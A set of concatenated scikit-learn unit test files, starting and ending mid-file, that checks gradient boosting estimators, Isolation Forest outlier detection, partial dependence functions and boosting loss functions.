    # Test with float class labels.
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1)

    float_y = np.asarray(y, dtype=np.float32)

    clf.fit(X, float_y)
    assert_array_equal(clf.predict(T),
                       np.asarray(true_result, dtype=np.float32))
    assert_equal(100, len(clf.estimators_))


def test_shape_y():
    # Test with float class labels.
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1)

    y_ = np.asarray(y, dtype=np.int32)
    y_ = y_[:, np.newaxis]

    # This will raise a DataConversionWarning that we want to
    # "always" raise, elsewhere the warnings gets ignored in the
    # later tests, and the tests that check for this warning fail
    assert_warns(DataConversionWarning, clf.fit, X, y_)
    assert_array_equal(clf.predict(T), true_result)
    assert_equal(100, len(clf.estimators_))


def test_mem_layout():
    # Test with different memory layouts of X and y
    X_ = np.asfortranarray(X)
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1)
    clf.fit(X_, y)
    assert_array_equal(clf.predict(T), true_result)
    assert_equal(100, len(clf.estimators_))

    X_ = np.ascontiguousarray(X)
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1)
    clf.fit(X_, y)
    assert_array_equal(clf.predict(T), true_result)
    assert_equal(100, len(clf.estimators_))

    y_ = np.asarray(y, dtype=np.int32)
    y_ = np.ascontiguousarray(y_)
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1)
    clf.fit(X, y_)
    assert_array_equal(clf.predict(T), true_result)
    assert_equal(100, len(clf.estimators_))

    y_ = np.asarray(y, dtype=np.int32)
    y_ = np.asfortranarray(y_)
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1)
    clf.fit(X, y_)
    assert_array_equal(clf.predict(T), true_result)
    assert_equal(100, len(clf.estimators_))


def test_oob_improvement():
    # Test if oob improvement has correct shape and regression test.
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1,
                                     subsample=0.5)
    clf.fit(X, y)
    assert_equal(clf.oob_improvement_.shape[0], 100)
    # hard-coded regression test - change if modification in OOB computation
    assert_array_almost_equal(clf.oob_improvement_[:5],
                              np.array([0.19, 0.15, 0.12, -0.12, -0.11]),
                              decimal=2)


def test_oob_improvement_raise():
    # Test if oob improvement has correct shape.
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1,
                                     subsample=1.0)
    clf.fit(X, y)
    assert_raises(AttributeError, lambda: clf.oob_improvement_)


def test_oob_multilcass_iris():
    # Check OOB improvement on multi-class dataset.
    clf = GradientBoostingClassifier(n_estimators=100, loss='deviance',
                                     random_state=1, subsample=0.5)
    clf.fit(iris.data, iris.target)
    score = clf.score(iris.data, iris.target)
    assert_greater(score, 0.9)
    assert_equal(clf.oob_improvement_.shape[0], clf.n_estimators)
    # hard-coded regression test - change if modification in OOB computation
    # FIXME: the following snippet does not yield the same results on 32 bits
    # assert_array_almost_equal(clf.oob_improvement_[:5],
    #                           np.array([12.68, 10.45, 8.18, 6.43, 5.13]),
    #                           decimal=2)


def test_verbose_output():
    # Check verbose=1 does not cause error.
    from sklearn.externals.six.moves import cStringIO as StringIO
    import sys
    old_stdout = sys.stdout
    sys.stdout = StringIO()
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1,
                                     verbose=1, subsample=0.8)
    clf.fit(X, y)
    verbose_output = sys.stdout
    sys.stdout = old_stdout

    # check output
    verbose_output.seek(0)
    header = verbose_output.readline().rstrip()
    # with OOB
    true_header = ' '.join(['%10s'] + ['%16s'] * 3) % (
        'Iter', 'Train Loss', 'OOB Improve', 'Remaining Time')
    assert_equal(true_header, header)

    n_lines = sum(1 for l in verbose_output.readlines())
    # one for 1-10 and then 9 for 20-100
    assert_equal(10 + 9, n_lines)


def test_more_verbose_output():
    # Check verbose=2 does not cause error.
    from sklearn.externals.six.moves import cStringIO as StringIO
    import sys
    old_stdout = sys.stdout
    sys.stdout = StringIO()
    clf = GradientBoostingClassifier(n_estimators=100, random_state=1,
                                     verbose=2)
    clf.fit(X, y)
    verbose_output = sys.stdout
    sys.stdout = old_stdout

    # check output
    verbose_output.seek(0)
    header = verbose_output.readline().rstrip()
    # no OOB
    true_header = ' '.join(['%10s'] + ['%16s'] * 2) % (
        'Iter', 'Train Loss', 'Remaining Time')
    assert_equal(true_header, header)

    n_lines = sum(1 for l in verbose_output.readlines())
    # 100 lines for n_estimators==100
    assert_equal(100, n_lines)


def test_warm_start():
    # Test if warm start equals fit.
    X, y = datasets.make_hastie_10_2(n_samples=100, random_state=1)
    for Cls in [GradientBoostingRegressor, GradientBoostingClassifier]:
        est = Cls(n_estimators=200, max_depth=1)
        est.fit(X, y)

        est_ws = Cls(n_estimators=100, max_depth=1, warm_start=True)
        est_ws.fit(X, y)
        est_ws.set_params(n_estimators=200)
        est_ws.fit(X, y)

        assert_array_almost_equal(est_ws.predict(X), est.predict(X))


def test_warm_start_n_estimators():
    # Test if warm start equals fit - set n_estimators.
    X, y = datasets.make_hastie_10_2(n_samples=100, random_state=1)
    for Cls in [GradientBoostingRegressor, GradientBoostingClassifier]:
        est = Cls(n_estimators=300, max_depth=1)
        est.fit(X, y)

        est_ws = Cls(n_estimators=100, max_depth=1, warm_start=True)
        est_ws.fit(X, y)
        est_ws.set_params(n_estimators=300)
        est_ws.fit(X, y)

    assert_array_almost_equal(est_ws.predict(X), est.predict(X))


def test_warm_start_max_depth():
    # Test if possible to fit trees of different depth in ensemble.
    X, y = datasets.make_hastie_10_2(n_samples=100, random_state=1)
    for Cls in [GradientBoostingRegressor, GradientBoostingClassifier]:
        est = Cls(n_estimators=100, max_depth=1, warm_start=True)
        est.fit(X, y)
        est.set_params(n_estimators=110, max_depth=2)
        est.fit(X, y)

        # last 10 trees have different depth
        assert_equal(est.estimators_[0, 0].max_depth, 1)
        for i in range(1, 11):
            assert_equal(est.estimators_[-i, 0].max_depth, 2)


def test_warm_start_clear():
    # Test if fit clears state.
    X, y = datasets.make_hastie_10_2(n_samples=100, random_state=1)
    for Cls in [GradientBoostingRegressor, GradientBoostingClassifier]:
        est = Cls(n_estimators=100, max_depth=1)
        est.fit(X, y)

        est_2 = Cls(n_estimators=100, max_depth=1, warm_start=True)
        est_2.fit(X, y)  # inits state
        est_2.set_params(warm_start=False)
        est_2.fit(X, y)  # clears old state and equals est

        assert_array_almost_equal(est_2.predict(X), est.predict(X))


def test_warm_start_zero_n_estimators():
    # Test if warm start with zero n_estimators raises error
    X, y = datasets.make_hastie_10_2(n_samples=100, random_state=1)
    for Cls in [GradientBoostingRegressor, GradientBoostingClassifier]:
        est = Cls(n_estimators=100, max_depth=1, warm_start=True)
        est.fit(X, y)
        est.set_params(n_estimators=0)
        assert_raises(ValueError, est.fit, X, y)


def test_warm_start_smaller_n_estimators():
    # Test if warm start with smaller n_estimators raises error
    X, y = datasets.make_hastie_10_2(n_samples=100, random_state=1)
    for Cls in [GradientBoostingRegressor, GradientBoostingClassifier]:
        est = Cls(n_estimators=100, max_depth=1, warm_start=True)
        est.fit(X, y)
        est.set_params(n_estimators=99)
        assert_raises(ValueError, est.fit, X, y)


def test_warm_start_equal_n_estimators():
    # Test if warm start with equal n_estimators does nothing
    X, y = datasets.make_hastie_10_2(n_samples=100, random_state=1)
    for Cls in [GradientBoostingRegressor, GradientBoostingClassifier]:
        est = Cls(n_estimators=100, max_depth=1)
        est.fit(X, y)

        est2 = clone(est)
        est2.set_params(n_estimators=est.n_estimators, warm_start=True)
        est2.fit(X, y)

        assert_array_almost_equal(est2.predict(X), est.predict(X))


def test_warm_start_oob_switch():
    # Test if oob can be turned on during warm start.
    X, y = datasets.make_hastie_10_2(n_samples=100, random_state=1)
    for Cls in [GradientBoostingRegressor, GradientBoostingClassifier]:
        est = Cls(n_estimators=100, max_depth=1, warm_start=True)
        est.fit(X, y)
        est.set_params(n_estimators=110, subsample=0.5)
        est.fit(X, y)

        assert_array_equal(est.oob_improvement_[:100], np.zeros(100))
        # the last 10 are not zeros
        assert_array_equal(est.oob_improvement_[-10:] == 0.0,
                           np.zeros(10, dtype=np.bool))


def test_warm_start_oob():
    # Test if warm start OOB equals fit.
    X, y = datasets.make_hastie_10_2(n_samples=100, random_state=1)
    for Cls in [GradientBoostingRegressor, GradientBoostingClassifier]:
        est = Cls(n_estimators=200, max_depth=1, subsample=0.5,
                  random_state=1)
        est.fit(X, y)

        est_ws = Cls(n_estimators=100, max_depth=1, subsample=0.5,
                     random_state=1, warm_start=True)
        est_ws.fit(X, y)
        est_ws.set_params(n_estimators=200)
        est_ws.fit(X, y)

        assert_array_almost_equal(est_ws.oob_improvement_[:100],
                                  est.oob_improvement_[:100])


def early_stopping_monitor(i, est, locals):
    """Returns True on the 10th iteration. """
    if i == 9:
        return True
    else:
        return False


def test_monitor_early_stopping():
    # Test if monitor return value works.
    X, y = datasets.make_hastie_10_2(n_samples=100, random_state=1)

    for Cls in [GradientBoostingRegressor, GradientBoostingClassifier]:
        est = Cls(n_estimators=20, max_depth=1, random_state=1, subsample=0.5)
        est.fit(X, y, monitor=early_stopping_monitor)
        assert_equal(est.n_estimators, 20)  # this is not altered
        assert_equal(est.estimators_.shape[0], 10)
        assert_equal(est.train_score_.shape[0], 10)
        assert_equal(est.oob_improvement_.shape[0], 10)

        # try refit
        est.set_params(n_estimators=30)
        est.fit(X, y)
        assert_equal(est.n_estimators, 30)
        assert_equal(est.estimators_.shape[0], 30)
        assert_equal(est.train_score_.shape[0], 30)

        est = Cls(n_estimators=20, max_depth=1, random_state=1, subsample=0.5,
                  warm_start=True)
        est.fit(X, y, monitor=early_stopping_monitor)
        assert_equal(est.n_estimators, 20)
        assert_equal(est.estimators_.shape[0], 10)
        assert_equal(est.train_score_.shape[0], 10)
        assert_equal(est.oob_improvement_.shape[0], 10)

        # try refit
        est.set_params(n_estimators=30, warm_start=False)
        est.fit(X, y)
        assert_equal(est.n_estimators, 30)
        assert_equal(est.train_score_.shape[0], 30)
        assert_equal(est.estimators_.shape[0], 30)
        assert_equal(est.oob_improvement_.shape[0], 30)


def test_complete_classification():
    # Test greedy trees with max_depth + 1 leafs.
    from sklearn.tree._tree import TREE_LEAF
    X, y = datasets.make_hastie_10_2(n_samples=100, random_state=1)
    k = 4

    est = GradientBoostingClassifier(n_estimators=20, max_depth=None,
                                     random_state=1, max_leaf_nodes=k + 1)
    est.fit(X, y)

    tree = est.estimators_[0, 0].tree_
    assert_equal(tree.max_depth, k)
    assert_equal(tree.children_left[tree.children_left == TREE_LEAF].shape[0],
                 k + 1)


def test_complete_regression():
    # Test greedy trees with max_depth + 1 leafs.
    from sklearn.tree._tree import TREE_LEAF
    k = 4

    est = GradientBoostingRegressor(n_estimators=20, max_depth=None,
                                    random_state=1, max_leaf_nodes=k + 1)
    est.fit(boston.data, boston.target)

    tree = est.estimators_[-1, 0].tree_
    assert_equal(tree.children_left[tree.children_left == TREE_LEAF].shape[0],
                 k + 1)


def test_zero_estimator_reg():
    # Test if ZeroEstimator works for regression.
    est = GradientBoostingRegressor(n_estimators=20, max_depth=1,
                                    random_state=1, init=ZeroEstimator())
    est.fit(boston.data, boston.target)
    y_pred = est.predict(boston.data)
    mse = mean_squared_error(boston.target, y_pred)
    assert_almost_equal(mse, 33.0, decimal=0)

    est = GradientBoostingRegressor(n_estimators=20, max_depth=1,
                                    random_state=1, init='zero')
    est.fit(boston.data, boston.target)
    y_pred = est.predict(boston.data)
    mse = mean_squared_error(boston.target, y_pred)
    assert_almost_equal(mse, 33.0, decimal=0)

    est = GradientBoostingRegressor(n_estimators=20, max_depth=1,
                                    random_state=1, init='foobar')
    assert_raises(ValueError, est.fit, boston.data, boston.target)


def test_zero_estimator_clf():
    # Test if ZeroEstimator works for classification.
    X = iris.data
    y = np.array(iris.target)
    est = GradientBoostingClassifier(n_estimators=20, max_depth=1,
                                     random_state=1, init=ZeroEstimator())
    est.fit(X, y)

    assert_greater(est.score(X, y), 0.96)

    est = GradientBoostingClassifier(n_estimators=20, max_depth=1,
                                     random_state=1, init='zero')
    est.fit(X, y)

    assert_greater(est.score(X, y), 0.96)

    # binary clf
    mask = y != 0
    y[mask] = 1
    y[~mask] = 0
    est = GradientBoostingClassifier(n_estimators=20, max_depth=1,
                                     random_state=1, init='zero')
    est.fit(X, y)
    assert_greater(est.score(X, y), 0.96)

    est = GradientBoostingClassifier(n_estimators=20, max_depth=1,
                                     random_state=1, init='foobar')
    assert_raises(ValueError, est.fit, X, y)


def test_max_leaf_nodes_max_depth():
    # Test precedence of max_leaf_nodes over max_depth.
    X, y = datasets.make_hastie_10_2(n_samples=100, random_state=1)
    all_estimators = [GradientBoostingRegressor,
                      GradientBoostingClassifier]

    k = 4
    for GBEstimator in all_estimators:
        est = GBEstimator(max_depth=1, max_leaf_nodes=k).fit(X, y)
        tree = est.estimators_[0, 0].tree_
        assert_greater(tree.max_depth, 1)

        est = GBEstimator(max_depth=1).fit(X, y)
        tree = est.estimators_[0, 0].tree_
        assert_equal(tree.max_depth, 1)


def test_warm_start_wo_nestimators_change():
    # Test if warm_start does nothing if n_estimators is not changed.
    # Regression test for #3513.
    clf = GradientBoostingClassifier(n_estimators=10, warm_start=True)
    clf.fit([[0, 1], [2, 3]], [0, 1])
    assert_equal(clf.estimators_.shape[0], 10)
    clf.fit([[0, 1], [2, 3]], [0, 1])
    assert_equal(clf.estimators_.shape[0], 10)


def test_probability_exponential():
    # Predict probabilities.
    clf = GradientBoostingClassifier(loss='exponential',
                                     n_estimators=100, random_state=1)

    assert_raises(ValueError, clf.predict_proba, T)

    clf.fit(X, y)
    assert_array_equal(clf.predict(T), true_result)

    # check if probabilities are in [0, 1].
    y_proba = clf.predict_proba(T)
    assert_true(np.all(y_proba >= 0.0))
    assert_true(np.all(y_proba <= 1.0))
    score = clf.decision_function(T).ravel()
    assert_array_almost_equal(y_proba[:, 1],
                              1.0 / (1.0 + np.exp(-2 * score)))

    # derive predictions from probabilities
    y_pred = clf.classes_.take(y_proba.argmax(axis=1), axis=0)
    assert_array_equal(y_pred, true_result)


def test_non_uniform_weights_toy_edge_case_reg():
    X = [[1, 0],
         [1, 0],
         [1, 0],
         [0, 1]]
    y = [0, 0, 1, 0]
    # ignore the first 2 training samples by setting their weight to 0
    sample_weight = [0, 0, 1, 1]
    for loss in ('huber', 'ls', 'lad', 'quantile'):
        gb = GradientBoostingRegressor(learning_rate=1.0, n_estimators=2,
                                       loss=loss)
        gb.fit(X, y, sample_weight=sample_weight)
        assert_greater(gb.predict([[1, 0]])[0], 0.5)


def test_non_uniform_weights_toy_edge_case_clf():
    X = [[1, 0],
         [1, 0],
         [1, 0],
         [0, 1]]
    y = [0, 0, 1, 0]
    # ignore the first 2 training samples by setting their weight to 0
    sample_weight = [0, 0, 1, 1]
    for loss in ('deviance', 'exponential'):
        gb = GradientBoostingClassifier(n_estimators=5)
        gb.fit(X, y, sample_weight=sample_weight)
        assert_array_equal(gb.predict([[1, 0]]), [1])


def check_sparse_input(EstimatorClass, X, X_sparse, y):
    dense = EstimatorClass(n_estimators=10, random_state=0,
                           max_depth=2).fit(X, y)
    sparse = EstimatorClass(n_estimators=10, random_state=0, max_depth=2,
                            presort=False).fit(X_sparse, y)
    auto = EstimatorClass(n_estimators=10, random_state=0, max_depth=2,
                          presort='auto').fit(X_sparse, y)

    assert_array_almost_equal(sparse.apply(X), dense.apply(X))
    assert_array_almost_equal(sparse.predict(X), dense.predict(X))
    assert_array_almost_equal(sparse.feature_importances_,
                              dense.feature_importances_)

    assert_array_almost_equal(sparse.apply(X), auto.apply(X))
    assert_array_almost_equal(sparse.predict(X), auto.predict(X))
    assert_array_almost_equal(sparse.feature_importances_,
                              auto.feature_importances_)

    if isinstance(EstimatorClass, GradientBoostingClassifier):
        assert_array_almost_equal(sparse.predict_proba(X),
                                  dense.predict_proba(X))
        assert_array_almost_equal(sparse.predict_log_proba(X),
                                  dense.predict_log_proba(X))

        assert_array_almost_equal(sparse.predict_proba(X),
                                  auto.predict_proba(X))
        assert_array_almost_equal(sparse.predict_log_proba(X),
                                  auto.predict_log_proba(X))


@skip_if_32bit
def test_sparse_input():
    ests = (GradientBoostingClassifier, GradientBoostingRegressor)
    sparse_matrices = (csr_matrix, csc_matrix, coo_matrix)

    y, X = datasets.make_multilabel_classification(random_state=0,
                                                   n_samples=50,
                                                   n_features=1,
                                                   n_classes=20)
    y = y[:, 0]

    for EstimatorClass, sparse_matrix in product(ests, sparse_matrices):
        yield check_sparse_input, EstimatorClass, X, sparse_matrix(X), y






"""
Testing for Isolation Forest algorithm (sklearn.ensemble.iforest).
"""

# Authors: Nicolas Goix <nicolas.goix@telecom-paristech.fr>
#          Alexandre Gramfort <alexandre.gramfort@telecom-paristech.fr>
# License: BSD 3 clause

import numpy as np

from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_warns_message
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_no_warnings
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import ignore_warnings

from sklearn.model_selection import ParameterGrid
from sklearn.ensemble import IsolationForest
from sklearn.model_selection import train_test_split
from sklearn.datasets import load_boston, load_iris
from sklearn.utils import check_random_state
from sklearn.metrics import roc_auc_score

from scipy.sparse import csc_matrix, csr_matrix

rng = check_random_state(0)

# load the iris dataset
# and randomly permute it
iris = load_iris()
perm = rng.permutation(iris.target.size)
iris.data = iris.data[perm]
iris.target = iris.target[perm]

# also load the boston dataset
# and randomly permute it
boston = load_boston()
perm = rng.permutation(boston.target.size)
boston.data = boston.data[perm]
boston.target = boston.target[perm]


def test_iforest():
    """Check Isolation Forest for various parameter settings."""
    X_train = np.array([[0, 1], [1, 2]])
    X_test = np.array([[2, 1], [1, 1]])

    grid = ParameterGrid({"n_estimators": [3],
                          "max_samples": [0.5, 1.0, 3],
                          "bootstrap": [True, False]})

    with ignore_warnings():
        for params in grid:
            IsolationForest(random_state=rng,
                            **params).fit(X_train).predict(X_test)


def test_iforest_sparse():
    """Check IForest for various parameter settings on sparse input."""
    rng = check_random_state(0)
    X_train, X_test, y_train, y_test = train_test_split(boston.data[:50],
                                                        boston.target[:50],
                                                        random_state=rng)
    grid = ParameterGrid({"max_samples": [0.5, 1.0],
                          "bootstrap": [True, False]})

    for sparse_format in [csc_matrix, csr_matrix]:
        X_train_sparse = sparse_format(X_train)
        X_test_sparse = sparse_format(X_test)

        for params in grid:
            # Trained on sparse format
            sparse_classifier = IsolationForest(
                n_estimators=10, random_state=1, **params).fit(X_train_sparse)
            sparse_results = sparse_classifier.predict(X_test_sparse)

            # Trained on dense format
            dense_classifier = IsolationForest(
                n_estimators=10, random_state=1, **params).fit(X_train)
            dense_results = dense_classifier.predict(X_test)

            assert_array_equal(sparse_results, dense_results)
            assert_array_equal(sparse_results, dense_results)


def test_iforest_error():
    """Test that it gives proper exception on deficient input."""
    X = iris.data

    # Test max_samples
    assert_raises(ValueError,
                  IsolationForest(max_samples=-1).fit, X)
    assert_raises(ValueError,
                  IsolationForest(max_samples=0.0).fit, X)
    assert_raises(ValueError,
                  IsolationForest(max_samples=2.0).fit, X)
    # The dataset has less than 256 samples, explicitly setting
    # max_samples > n_samples should result in a warning. If not set
    # explicitly there should be no warning
    assert_warns_message(UserWarning,
                         "max_samples will be set to n_samples for estimation",
                         IsolationForest(max_samples=1000).fit, X)
    assert_no_warnings(IsolationForest(max_samples='auto').fit, X)
    assert_no_warnings(IsolationForest(max_samples=np.int64(2)).fit, X)
    assert_raises(ValueError, IsolationForest(max_samples='foobar').fit, X)
    assert_raises(ValueError, IsolationForest(max_samples=1.5).fit, X)


def test_recalculate_max_depth():
    """Check max_depth recalculation when max_samples is reset to n_samples"""
    X = iris.data
    clf = IsolationForest().fit(X)
    for est in clf.estimators_:
        assert_equal(est.max_depth, int(np.ceil(np.log2(X.shape[0]))))


def test_max_samples_attribute():
    X = iris.data
    clf = IsolationForest().fit(X)
    assert_equal(clf.max_samples_, X.shape[0])

    clf = IsolationForest(max_samples=500)
    assert_warns_message(UserWarning,
                         "max_samples will be set to n_samples for estimation",
                         clf.fit, X)
    assert_equal(clf.max_samples_, X.shape[0])

    clf = IsolationForest(max_samples=0.4).fit(X)
    assert_equal(clf.max_samples_, 0.4*X.shape[0])


def test_iforest_parallel_regression():
    """Check parallel regression."""
    rng = check_random_state(0)

    X_train, X_test, y_train, y_test = train_test_split(boston.data,
                                                        boston.target,
                                                        random_state=rng)

    ensemble = IsolationForest(n_jobs=3,
                               random_state=0).fit(X_train)

    ensemble.set_params(n_jobs=1)
    y1 = ensemble.predict(X_test)
    ensemble.set_params(n_jobs=2)
    y2 = ensemble.predict(X_test)
    assert_array_almost_equal(y1, y2)

    ensemble = IsolationForest(n_jobs=1,
                               random_state=0).fit(X_train)

    y3 = ensemble.predict(X_test)
    assert_array_almost_equal(y1, y3)


def test_iforest_performance():
    """Test Isolation Forest performs well"""

    # Generate train/test data
    rng = check_random_state(2)
    X = 0.3 * rng.randn(120, 2)
    X_train = np.r_[X + 2, X - 2]
    X_train = X[:100]

    # Generate some abnormal novel observations
    X_outliers = rng.uniform(low=-4, high=4, size=(20, 2))
    X_test = np.r_[X[100:], X_outliers]
    y_test = np.array([0] * 20 + [1] * 20)

    # fit the model
    clf = IsolationForest(max_samples=100, random_state=rng).fit(X_train)

    # predict scores (the lower, the more normal)
    y_pred = - clf.decision_function(X_test)

    # check that there is at most 6 errors (false positive or false negative)
    assert_greater(roc_auc_score(y_test, y_pred), 0.98)


def test_iforest_works():
    # toy sample (the last two samples are outliers)
    X = [[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1], [6, 3], [-4, 7]]

    # Test LOF
    clf = IsolationForest(random_state=rng, contamination=0.25)
    clf.fit(X)
    decision_func = - clf.decision_function(X)
    pred = clf.predict(X)

    # assert detect outliers:
    assert_greater(np.min(decision_func[-2:]), np.max(decision_func[:-2]))
    assert_array_equal(pred, 6 * [1] + 2 * [-1])


def test_max_samples_consistency():
    # Make sure validated max_samples in iforest and BaseBagging are identical
    X = iris.data
    clf = IsolationForest().fit(X)
    assert_equal(clf.max_samples_, clf._max_samples)






"""
Testing for the partial dependence module.
"""

import numpy as np
from numpy.testing import assert_array_equal

from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import if_matplotlib
from sklearn.ensemble.partial_dependence import partial_dependence
from sklearn.ensemble.partial_dependence import plot_partial_dependence
from sklearn.ensemble import GradientBoostingClassifier
from sklearn.ensemble import GradientBoostingRegressor
from sklearn import datasets


# toy sample
X = [[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1]]
y = [-1, -1, -1, 1, 1, 1]
T = [[-1, -1], [2, 2], [3, 2]]
true_result = [-1, 1, 1]

# also load the boston dataset
boston = datasets.load_boston()

# also load the iris dataset
iris = datasets.load_iris()


def test_partial_dependence_classifier():
    # Test partial dependence for classifier
    clf = GradientBoostingClassifier(n_estimators=10, random_state=1)
    clf.fit(X, y)

    pdp, axes = partial_dependence(clf, [0], X=X, grid_resolution=5)

    # only 4 grid points instead of 5 because only 4 unique X[:,0] vals
    assert pdp.shape == (1, 4)
    assert axes[0].shape[0] == 4

    # now with our own grid
    X_ = np.asarray(X)
    grid = np.unique(X_[:, 0])
    pdp_2, axes = partial_dependence(clf, [0], grid=grid)

    assert axes is None
    assert_array_equal(pdp, pdp_2)


def test_partial_dependence_multiclass():
    # Test partial dependence for multi-class classifier
    clf = GradientBoostingClassifier(n_estimators=10, random_state=1)
    clf.fit(iris.data, iris.target)

    grid_resolution = 25
    n_classes = clf.n_classes_
    pdp, axes = partial_dependence(
        clf, [0], X=iris.data, grid_resolution=grid_resolution)

    assert pdp.shape == (n_classes, grid_resolution)
    assert len(axes) == 1
    assert axes[0].shape[0] == grid_resolution


def test_partial_dependence_regressor():
    # Test partial dependence for regressor
    clf = GradientBoostingRegressor(n_estimators=10, random_state=1)
    clf.fit(boston.data, boston.target)

    grid_resolution = 25
    pdp, axes = partial_dependence(
        clf, [0], X=boston.data, grid_resolution=grid_resolution)

    assert pdp.shape == (1, grid_resolution)
    assert axes[0].shape[0] == grid_resolution


def test_partial_dependecy_input():
    # Test input validation of partial dependence.
    clf = GradientBoostingClassifier(n_estimators=10, random_state=1)
    clf.fit(X, y)

    assert_raises(ValueError, partial_dependence,
                  clf, [0], grid=None, X=None)

    assert_raises(ValueError, partial_dependence,
                  clf, [0], grid=[0, 1], X=X)

    # first argument must be an instance of BaseGradientBoosting
    assert_raises(ValueError, partial_dependence,
                  {}, [0], X=X)

    # Gradient boosting estimator must be fit
    assert_raises(ValueError, partial_dependence,
                  GradientBoostingClassifier(), [0], X=X)

    assert_raises(ValueError, partial_dependence, clf, [-1], X=X)

    assert_raises(ValueError, partial_dependence, clf, [100], X=X)

    # wrong ndim for grid
    grid = np.random.rand(10, 2, 1)
    assert_raises(ValueError, partial_dependence, clf, [0], grid=grid)


@if_matplotlib
def test_plot_partial_dependence():
    # Test partial dependence plot function.
    clf = GradientBoostingRegressor(n_estimators=10, random_state=1)
    clf.fit(boston.data, boston.target)

    grid_resolution = 25
    fig, axs = plot_partial_dependence(clf, boston.data, [0, 1, (0, 1)],
                                       grid_resolution=grid_resolution,
                                       feature_names=boston.feature_names)
    assert len(axs) == 3
    assert all(ax.has_data for ax in axs)

    # check with str features and array feature names
    fig, axs = plot_partial_dependence(clf, boston.data, ['CRIM', 'ZN',
                                                          ('CRIM', 'ZN')],
                                       grid_resolution=grid_resolution,
                                       feature_names=boston.feature_names)

    assert len(axs) == 3
    assert all(ax.has_data for ax in axs)

    # check with list feature_names
    feature_names = boston.feature_names.tolist()
    fig, axs = plot_partial_dependence(clf, boston.data, ['CRIM', 'ZN',
                                                          ('CRIM', 'ZN')],
                                       grid_resolution=grid_resolution,
                                       feature_names=feature_names)
    assert len(axs) == 3
    assert all(ax.has_data for ax in axs)


@if_matplotlib
def test_plot_partial_dependence_input():
    # Test partial dependence plot function input checks.
    clf = GradientBoostingClassifier(n_estimators=10, random_state=1)

    # not fitted yet
    assert_raises(ValueError, plot_partial_dependence,
                  clf, X, [0])

    clf.fit(X, y)

    assert_raises(ValueError, plot_partial_dependence,
                  clf, np.array(X)[:, :0], [0])

    # first argument must be an instance of BaseGradientBoosting
    assert_raises(ValueError, plot_partial_dependence,
                  {}, X, [0])

    # must be larger than -1
    assert_raises(ValueError, plot_partial_dependence,
                  clf, X, [-1])

    # too large feature value
    assert_raises(ValueError, plot_partial_dependence,
                  clf, X, [100])

    # str feature but no feature_names
    assert_raises(ValueError, plot_partial_dependence,
                  clf, X, ['foobar'])

    # not valid features value
    assert_raises(ValueError, plot_partial_dependence,
                  clf, X, [{'foo': 'bar'}])


@if_matplotlib
def test_plot_partial_dependence_multiclass():
    # Test partial dependence plot function on multi-class input.
    clf = GradientBoostingClassifier(n_estimators=10, random_state=1)
    clf.fit(iris.data, iris.target)

    grid_resolution = 25
    fig, axs = plot_partial_dependence(clf, iris.data, [0, 1],
                                       label=0,
                                       grid_resolution=grid_resolution)
    assert len(axs) == 2
    assert all(ax.has_data for ax in axs)

    # now with symbol labels
    target = iris.target_names[iris.target]
    clf = GradientBoostingClassifier(n_estimators=10, random_state=1)
    clf.fit(iris.data, target)

    grid_resolution = 25
    fig, axs = plot_partial_dependence(clf, iris.data, [0, 1],
                                       label='setosa',
                                       grid_resolution=grid_resolution)
    assert len(axs) == 2
    assert all(ax.has_data for ax in axs)

    # label not in gbrt.classes_
    assert_raises(ValueError, plot_partial_dependence,
                  clf, iris.data, [0, 1], label='foobar',
                  grid_resolution=grid_resolution)

    # label not provided
    assert_raises(ValueError, plot_partial_dependence,
                  clf, iris.data, [0, 1],
                  grid_resolution=grid_resolution)






"""
Testing for the gradient boosting loss functions and initial estimators.
"""

import numpy as np
from numpy.testing import assert_array_equal
from numpy.testing import assert_almost_equal
from numpy.testing import assert_equal

from nose.tools import assert_raises

from sklearn.utils import check_random_state
from sklearn.ensemble.gradient_boosting import BinomialDeviance
from sklearn.ensemble.gradient_boosting import LogOddsEstimator
from sklearn.ensemble.gradient_boosting import LeastSquaresError
from sklearn.ensemble.gradient_boosting import RegressionLossFunction
from sklearn.ensemble.gradient_boosting import LOSS_FUNCTIONS
from sklearn.ensemble.gradient_boosting import _weighted_percentile


def test_binomial_deviance():
    # Check binomial deviance loss.
    # Check against alternative definitions in ESLII.
    bd = BinomialDeviance(2)

    # pred has the same BD for y in {0, 1}
    assert_equal(bd(np.array([0.0]), np.array([0.0])),
                 bd(np.array([1.0]), np.array([0.0])))

    assert_almost_equal(bd(np.array([1.0, 1.0, 1.0]),
                           np.array([100.0, 100.0, 100.0])),
                        0.0)
    assert_almost_equal(bd(np.array([1.0, 0.0, 0.0]),
                           np.array([100.0, -100.0, -100.0])), 0)

    # check if same results as alternative definition of deviance (from ESLII)
    alt_dev = lambda y, pred: np.mean(np.logaddexp(0.0, -2.0 *
                                                   (2.0 * y - 1) * pred))
    test_data = [(np.array([1.0, 1.0, 1.0]), np.array([100.0, 100.0, 100.0])),
                 (np.array([0.0, 0.0, 0.0]), np.array([100.0, 100.0, 100.0])),
                 (np.array([0.0, 0.0, 0.0]),
                  np.array([-100.0, -100.0, -100.0])),
                 (np.array([1.0, 1.0, 1.0]),
                  np.array([-100.0, -100.0, -100.0]))]

    for datum in test_data:
        assert_almost_equal(bd(*datum), alt_dev(*datum))

    # check the gradient against the
    alt_ng = lambda y, pred: (2 * y - 1) / (1 + np.exp(2 * (2 * y - 1) * pred))
    for datum in test_data:
        assert_almost_equal(bd.negative_gradient(*datum), alt_ng(*datum))


def test_log_odds_estimator():
    # Check log odds estimator.
    est = LogOddsEstimator()
    assert_raises(ValueError, est.fit, None, np.array([1]))

    est.fit(None, np.array([1.0, 0.0]))
    assert_equal(est.prior, 0.0)
